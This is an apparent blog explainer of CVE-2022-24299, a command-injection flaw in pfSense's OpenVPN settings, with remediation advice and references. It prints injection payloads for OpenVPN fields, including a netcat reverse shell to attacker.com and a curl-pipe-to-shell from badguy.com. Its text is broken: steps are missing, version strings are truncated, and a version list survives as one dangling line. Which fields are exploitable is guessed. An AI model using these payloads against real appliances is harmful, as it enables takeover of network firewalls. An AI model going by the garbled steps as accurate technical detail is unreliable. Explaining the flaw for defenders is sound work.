If you're running pfSense for your network firewall or VPN, you need to know about CVE-2022-24299. This is a serious security weakness that, if left unpatched, could let someone with the right permissions run commands on your appliance—giving them full control. In this guide, I’ll break down exactly what this vulnerability is about, how it works, and what you can do about it. I’ll even include code snippets and links to original sources, so you don’t have to go hunting for the details.
What is CVE-2022-24299?
CVE-2022-24299 is a vulnerability in the OpenVPN server and client settings logic in pfSense CE (versions before 2.6.) and pfSense Plus (before 22.01). The root problem is improper input validation. Put simply: the code that reads user input for OpenVPN configurations doesn’t check things properly and allows an attacker with management access to inject malicious commands.
If an attacker can change OpenVPN settings (not a regular user, but someone who has the right privs), they can slip in special characters or command strings into certain fields. When the pfSense backend saves and applies those configs, it might accidentally run those commands—exactly as if the attacker had shell access.
How Does the Exploit Work?
Let’s say you have access to the pfSense web dashboard and can manage OpenVPN servers or clients. In the vulnerable versions, you could manipulate certain settings to include command injection payloads.
Technical Details
When saving OpenVPN configurations, pfSense creates shell scripts or calls scripts with parameters based directly on user-supplied input. If those inputs are not properly sanitized, a parameter might look like this:
" --remote myserver.com; rm /tmp/sensitivefile; "
When the shell script processes this, it could treat everything after the semicolon (;) as another command.
Realistic Scenario
Let’s say you add an extra ; and a new command in an OpenVPN “Description” field (or possibly “Custom options” or “Server host”):
myvpn; whoami > /tmp/tricked_you
If this value makes its way into a shell command executed by pfSense, it will create a new file /tmp/tricked_you with the output of whoami (shows which user ran it). Replace whoami with anything evil—downloading malware, exfiltrating data, or wiping files.
Step 2: In a field like “Server host or address” or “Description”, enter
myserver.com; nc attacker.com 1234 -e /bin/sh;
Step 3: Apply the settings.
This would (if unsanitized), make pfSense try to connect a shell to attacker.com over port 1234—giving the attacker a remote shell.
Example malicious input
evilserver.com; curl http://badguy.com/payload.sh | sh;
Or using a simple test
localhost; touch /tmp/vulntest;
Upstream References
- The official Netgate security advisory: Netgate Security Advisory 22_02
- NIST CVE entry: NVD - CVE-2022-24299
- pfSense bug tracker: Redmine Issue 12726
- Community reporting: Vulmon - CVE-2022-24299
Any pfSense Plus version before 22.01
If you run either of these and let users manage OpenVPN settings, you’re at risk.
How to Fix It
Upgrade your pfSense!
pfSense Plus: Update to 22.01 or later.
Netgate patched the input validation, so supplied settings are now properly filtered, and the backend scripts can’t be exploited this way.
Conclusion
CVE-2022-24299 is a classic but dangerous mistake: trusting user input where you shouldn’t. If you’re an admin running pfSense, check your version, upgrade immediately, and keep a close eye on who can create or edit VPNs.
Further Reading
- pfSense Security Advisories
- OpenVPN Documentation
*If you found this write-up useful, consider sharing it with fellow sysadmins or on your favorite infosec forums. Stay vigilant!*
Timeline
Published on: 03/31/2022 08:15:00 UTC
Last modified on: 04/07/2022 20:01:00 UTC